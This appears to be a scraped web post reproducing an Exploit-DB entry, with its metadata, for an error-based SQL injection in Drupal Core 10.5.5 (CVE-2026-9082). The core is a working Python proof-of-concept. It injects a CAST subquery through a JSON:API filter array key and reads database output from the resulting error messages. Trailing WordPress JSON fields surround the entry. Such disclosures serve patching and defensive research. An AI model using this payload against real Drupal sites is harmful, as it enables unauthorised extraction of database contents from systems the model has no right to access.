{“lastseen”:”2026-06-01T19:31:56″,”description”:”Exploit Title: Drupal Core 10.5.5 – Error-Based SQL Injection Google Dork: N\/A Date: 2026-05-31 Exploit Author: cardosource Vendor Homepage: https:\/\/www.drupal.org Software Link: https:\/\/www.drupal.org\/project\/drupal Version: Drupal Core 10.5.5 Tested…”,”published”:”2026-06-01T00:00:00″,”modified”:”2026-06-01T00:00:00″,”type”:”exploitdb”,”title”:”Drupal Core 10.5.5 – Error-Based SQL Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52608″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-9082″],”sourceData”:”# Exploit Title: Drupal Core 10.5.5 – Error-Based SQL Injection \\r\\n# Google Dork: N\/A\\r\\n# Date: 2026-05-31\\r\\n# Exploit Author: cardosource\\r\\n# Vendor Homepage: https:\/\/www.drupal.org\\r\\n# Software Link: https:\/\/www.drupal.org\/project\/drupal\\r\\n# Version: Drupal Core 10.5.5\\r\\n# Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17\\r\\n# CVE: CVE-2026-9082\\r\\n#\\r\\n# Description:\\r\\n# This proof-of-concept demonstrates an Error-Based SQL Injection in\\r\\n# Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter\\r\\n# array keys influence SQL query construction, allowing database\\r\\n# information disclosure through SQL error messages.\\r\\n\\r\\n\\r\\n\\r\\nimport requests\\r\\nimport json\\r\\nfrom urllib.parse import urlencode\\r\\n\\r\\nTARGET_URL = \\”http:\/\/localhost:8080\/jsonapi\/node\/article\\”\\r\\n\\r\\nBANNER = \\”\\”\\”\\r\\n[+] Drupal Core 10.5.5 – Error-Based SQL Injection\\r\\n[+] CVE-2026-9082\\r\\n[+] Target: JSON:API (PostgreSQL)\\r\\n\\”\\”\\”\\r\\n\\r\\n\\r\\ndef extract_data(subquery):\\r\\n headers = {\\r\\n \\”Accept\\”: \\”application\/vnd.api+json\\”,\\r\\n \\”Content-Type\\”: \\”application\/vnd.api+json\\”\\r\\n }\\r\\n \\r\\n payload = f\\”0||CAST(({subquery}) AS INTEGER)\\”\\r\\n \\r\\n params = {\\r\\n \\”filter[my_filter][condition][path]\\”: \\”title\\”,\\r\\n \\”filter[my_filter][condition][operator]\\”: \\”IN\\”,\\r\\n \\”filter[my_filter][condition][value][0]\\”: \\”Example\\”,\\r\\n f\\”filter[my_filter][condition][value][{payload}]\\”: \\”Injection\\”\\r\\n }\\r\\n \\r\\n try:\\r\\n response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)\\r\\n \\r\\n if response.status_code == 500:\\r\\n try:\\r\\n error = response.json().get(\\”errors\\”, [{}])[0].get(\\”detail\\”, \\”\\”)\\r\\n if \\”invalid input syntax\\” in error:\\r\\n data = error.split(‘\\”‘)[1] if ‘\\”‘ in error else error\\r\\n print(f\\”\\\\033[92m[SUCCESS]\\\\033[0m {data}\\”)\\r\\n except json.JSONDecodeError:\\r\\n pass\\r\\n except requests.exceptions.RequestException:\\r\\n pass\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n print(BANNER) \\r\\n extract_data(\\”SELECT version()\\”)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52608″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52608″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-01T19:31:56″,”description”:”Exploit Title: Drupal Core 10.5.5 – Error-Based SQL Injection Google Dork: N\/A Date: 2026-05-31 Exploit Author: cardosource Vendor Homepage: https:\/\/www.drupal.org Software Link: https:\/\/www.drupal.org\/project\/drupal Version: Drupal…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-58954","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n